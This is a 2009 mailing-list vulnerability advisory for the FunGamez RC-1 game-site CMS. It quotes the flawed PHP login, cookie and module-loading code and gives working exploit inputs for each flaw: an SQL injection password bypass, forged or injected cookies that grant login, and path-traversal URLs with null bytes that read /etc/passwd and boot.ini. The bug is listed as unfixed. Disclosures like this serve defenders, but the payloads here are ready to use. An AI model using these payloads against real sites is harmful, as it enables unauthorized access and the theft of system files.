Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Creasito e-commerce content manager Authentication Bypass

WysGui CMS 1.2 BETA(Insecure Cookie Handling)--Blind- sql-injection- exploit-->

Sungard Banner System XSS

Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities

From:	y3nh4ck3r_(at)_gmail.com <y3nh4ck3r_(at)_gmail.com>
Date:	20.04.2009
Subject:	Multiple Remote Vulnerabilities--SQLi-(INSECURE-COOKIE-HANDLING)-LFI-->

----------------------------------------------------------------------
MULTIPLE REMOTE VULNERABILITIES FunGamez-release candidate 1
----------------------------------------------------------------------
       
  CMS INFORMATION:

-->WEB: http://sourceforge.net/projects/fg-gsm/
-->DOWNLOAD: http://sourceforge.net/projects/fg-gsm/
-->DEMO: N/A
-->CATEGORY: CMS / Portals
-->DESCRIPTION: A game-site manager with fully customisable design, and easy game adding
               and I will build in more options to make the site fully customisable...

 CMS VULNERABILITY:

-->TESTED ON: firefox 3
-->DORK: N/A
-->CATEGORY: AUTH BYPASS/LFI
-->AFFECT VERSION:RC-1
-->Discovered Bug date: 2009-04-20
-->Reported Bug date: 2009-04-20
-->Fixed bug date: Not fixed
-->Info patch: Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cuсada, padres (y amigos xD) por su apoyo.

/////////////////////////////

AUTH BYPASS (LOGIN FORM)

/////////////////////////////

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/pages/login.php

It contents:

...

       $logindat = mysql_query("SELECT * FROM `fg_users` WHERE `username` = '".$uname."' and `password` = '".$upass."'");

...

---------
EXPLOIT:
---------

PEPE' OR 1=1 /*

Password:ANY


////////////////////////////////////////

AUTH BYPASS (INSECURE COOKIE HANDLING)

////////////////////////////////////////

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/includes/user.php

It contents:

...

function checklogin(){

       If ( $_SESSION['user'] == null )  {

               If ( $_COOKIE['user'] == null )   {          
                       return 0;       
               }         
               Else        
               {           
                       return $_COOKIE['user'];         
               }     
       }  
       Else      
       {        
       return $_SESSION['user'];      
       }
}

...

Path --> [HOME_PATH]/index.php

It contents:

...

If ( $page->requireslogin($name) && !$user->checklogin() ) { $name = 'login'; $_GET['newlogin'] = 1; }

...

----------
EXPLOITS:
----------

Add cookie:

1)user=1 path=/ (Insecure cookie)

2)user=pepe' or 1=1 /* path=/ (SQL injection)




///////////////////////////////

LOCAL FILE INCLUSION (LFI)

///////////////////////////////

------------
CONDITIONS:
------------

Need: Be admin user (above! :P)

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/admin/load.php

It contents:

...

If ( !isset($_GET['module']) ) $mod = 'start';

If ( isset($_GET['module']) ) $mod = $_GET['module'];

include('./admin/modules/'.$mod.'.php');

----------
EXPLOITS:
----------

1)http://[HOST]/FunGamez/index.php?admin&module=../../../../../../boot.
ini%00

2)http://[HOST]/FunGamez/index.php?admin&module=../../../../..
/etc/passwd%00


*******************************************************************
ESPECIAL THANKS TO: JosS and every H4ck3r(all who do hack0wn)!
*******************************************************************
-------------------------------------------------------------------
*******************************************************************
GREETZ TO: Str0ke and all spanish Hack3Rs community!
*******************************************************************

-------------------EOF---------------------------------->>>ENJOY IT!